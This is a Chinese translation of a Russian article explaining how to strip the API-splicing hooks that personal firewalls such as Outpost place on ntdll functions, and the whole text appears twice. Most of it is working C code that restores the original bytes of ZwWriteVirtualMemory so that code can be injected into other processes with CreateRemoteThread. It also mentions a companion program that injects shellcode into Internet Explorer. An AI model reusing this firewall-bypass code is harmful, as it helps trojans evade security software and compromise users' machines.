//原文章:俄羅斯程序員PSI_H的《Простой способ противодействия сплайсингу API》
對付API-splicing的一種簡單方法
對于攔截API函數通常使用一種叫splicing的方法。此法的本質就是用JMP指令替換函數起始處的5個字節,將控制權傳遞給攔截程序。這種技術廣泛應用于個人防火墻中,以防木馬程序將自己的代碼注入到其它可訪問網絡進程的地址空間中。然而,木馬程序作者們可以采用不同的技術來穿透防火墻。比如說很流行的防火墻Agnitum Outpost的第三版就可以輕松繞過(詳見MS-REM的文章《使用inject繞過防火墻》)。然而設計者們已經對自己的勞動結晶施以了巫術,Outpost 4.0已經能可靠地(?)對付這種方法了。但是如果這種保護繞不過去,那為什么不試著把它拿下呢?
首先腦子里想到的是,使用LoadLibrary/GetProcAddress函數來獲取被攔截函數的原始代碼,之后用它在內存里替換掉以前的代碼,這樣就摘掉了對函數的HOOK。因為調用LoadLibrary將返回指向已加載模塊的指針,所以必須將文件拷貝并加載此拷貝。下面的代碼去除了對ZwWriteVirtualMemory函數的攔截:
// 將NTDLL.DLL文件拷入TEMP文件夾
char szTemp[MAX_PATH];
GetTempPath(MAX_PATH, szTemp);
strcat(szTemp, "ntdll2.dll");
CopyFile("C:\\Windows\\System32\\ntdll.dll", szTemp, TRUE);
// 取得指向原始函數的指針
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory");
// 取得指向當前函數的指針
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");
// 設置內存訪問權限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 替換函數的前10個(為保險起見)字節
memcpy(ptr_new, ptr_orig, 10);
FreeLibrary(hMod);
DeleteFile(szTemp);
此后,為了在其它進程地址空間中執行自己的代碼,可以使用經典的CreateRemoteThread。順便說一句,Outpost對這個函數也進行了攔截,但是,在別的進程里創建線程是絕對可以的。
盡管這里給出的摘除HOOK的方法完全奏效,但需要加載新的dll模塊,這可能會引起防火墻的暴怒。我所認為的更為優雅的辦法就是只需從文件中讀取所需要的字節。下面這個函數的代碼恢復了API的原始的起始部分。
bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath為DLL的完整路徑 !
{
// 取得指向函數的指針
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;
// 將文件映射入內存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;
DWORD dwSize = GetFileSize(hFile, NULL);
HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);
LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);
// 指向當前函數的指針
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);
// 修改訪問權限并拷貝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}else{
bRes=false;
}
UnmapViewOfFile(lpBaseMap);
CloseHandle(hMapFile);
CloseHandle(hFile);
return bRes;
}
注意CreateFileMapping函數的調用,參數SEC_IMAGE指明了文件將作為可執行文件映射入內存,這就使我們能夠找到PE首部并計算文件偏移量。然而,以上示例是有缺陷的——用戶可以禁止讀取系統文件,除此之外,軟件設計者還可以patch磁盤文件(盡管可能性很小)。對付的方法還是有的,可以基址作為標志函數起始的label。例如,在所有我研究過的Windows XP(SP0-SP2、RU和MUI)里,ZwWriteVirtualMemory起始處都是字節:
B8 15 01 00 00
其對應的匯編助記符為
mov eax, 00000115
為了識別label,無需在磁盤文件上做手腳,因為ntdll.dll在distribution里是不設防的。當然使用靜態label并不能保證相容性,但這是防范攔截的最好辦法。
使用上面所講的技術可以達到十分通用的效果——比如防范調試器。比如說,我們的應用程序從注冊表讀取lisense鍵值,而且我們不想此舉被黑客監視。為了恢復函數的原始代碼以處理注冊表,我們將斷點(opcode為0xCC)做掉。老實說,如果黑客在函數的尾部施此伎倆,而我們只恢復起始部分,這還真就不靈了。所以,最好一下恢復整個code section。
Anti-anti-splicing
要想對付類似的anti-splicing的方法,developers可以對ZwProtectVirtualMemory函數進行處理。攔截了這個函數就能控制對內存訪問參數的修改,我們也就因此而不能向所需的地址里進行寫入。然而,如果建立了前面提到的函數起始基址的話,還是有辦法對付的。
本文的配套程序是向Internet Explorer注入shellcode的例子。
[C] PSI_H
董巖 譯
http://greatdong.blog.edu.cn
對付API-splicing的一種簡單方法
對于攔截API函數通常使用一種叫splicing的方法。此法的本質就是用JMP指令替換函數起始處的5個字節,將控制權傳遞給攔截程序。這種技術廣泛應用于個人防火墻中,以防木馬程序將自己的代碼注入到其它可訪問網絡進程的地址空間中。然而,木馬程序作者們可以采用不同的技術來穿透防火墻。比如說很流行的防火墻Agnitum Outpost的第三版就可以輕松繞過(詳見MS-REM的文章《使用inject繞過防火墻》)。然而設計者們已經對自己的勞動結晶施以了巫術,Outpost 4.0已經能可靠地(?)對付這種方法了。但是如果這種保護繞不過去,那為什么不試著把它拿下呢?
首先腦子里想到的是,使用LoadLibrary/GetProcAddress函數來獲取被攔截函數的原始代碼,之后用它在內存里替換掉以前的代碼,這樣就摘掉了對函數的HOOK。因為調用LoadLibrary將返回指向已加載模塊的指針,所以必須將文件拷貝并加載此拷貝。下面的代碼去除了對ZwWriteVirtualMemory函數的攔截:
// 將NTDLL.DLL文件拷入TEMP文件夾
char szTemp[MAX_PATH];
GetTempPath(MAX_PATH, szTemp);
strcat(szTemp, "ntdll2.dll");
CopyFile("C:\\Windows\\System32\\ntdll.dll", szTemp, TRUE);
// 取得指向原始函數的指針
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory");
// 取得指向當前函數的指針
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");
// 設置內存訪問權限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 替換函數的前10個(為保險起見)字節
memcpy(ptr_new, ptr_orig, 10);
FreeLibrary(hMod);
DeleteFile(szTemp);
此后,為了在其它進程地址空間中執行自己的代碼,可以使用經典的CreateRemoteThread。順便說一句,Outpost對這個函數也進行了攔截,但是,在別的進程里創建線程是絕對可以的。
盡管這里給出的摘除HOOK的方法完全奏效,但需要加載新的dll模塊,這可能會引起防火墻的暴怒。我所認為的更為優雅的辦法就是只需從文件中讀取所需要的字節。下面這個函數的代碼恢復了API的原始的起始部分。
bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath為DLL的完整路徑 !
{
// 取得指向函數的指針
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;
// 將文件映射入內存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;
DWORD dwSize = GetFileSize(hFile, NULL);
HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);
LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);
// 指向當前函數的指針
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);
// 修改訪問權限并拷貝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}else{
bRes=false;
}
UnmapViewOfFile(lpBaseMap);
CloseHandle(hMapFile);
CloseHandle(hFile);
return bRes;
}
注意CreateFileMapping函數的調用,參數SEC_IMAGE指明了文件將作為可執行文件映射入內存,這就使我們能夠找到PE首部并計算文件偏移量。然而,以上示例是有缺陷的——用戶可以禁止讀取系統文件,除此之外,軟件設計者還可以patch磁盤文件(盡管可能性很小)。對付的方法還是有的,可以基址作為標志函數起始的label。例如,在所有我研究過的Windows XP(SP0-SP2、RU和MUI)里,ZwWriteVirtualMemory起始處都是字節:
B8 15 01 00 00
其對應的匯編助記符為
mov eax, 00000115
為了識別label,無需在磁盤文件上做手腳,因為ntdll.dll在distribution里是不設防的。當然使用靜態label并不能保證相容性,但這是防范攔截的最好辦法。
使用上面所講的技術可以達到十分通用的效果——比如防范調試器。比如說,我們的應用程序從注冊表讀取lisense鍵值,而且我們不想此舉被黑客監視。為了恢復函數的原始代碼以處理注冊表,我們將斷點(opcode為0xCC)做掉。老實說,如果黑客在函數的尾部施此伎倆,而我們只恢復起始部分,這還真就不靈了。所以,最好一下恢復整個code section。
Anti-anti-splicing
要想對付類似的anti-splicing的方法,developers可以對ZwProtectVirtualMemory函數進行處理。攔截了這個函數就能控制對內存訪問參數的修改,我們也就因此而不能向所需的地址里進行寫入。然而,如果建立了前面提到的函數起始基址的話,還是有辦法對付的。
本文的配套程序是向Internet Explorer注入shellcode的例子。
[C] PSI_H
董巖 譯
http://greatdong.blog.edu.cn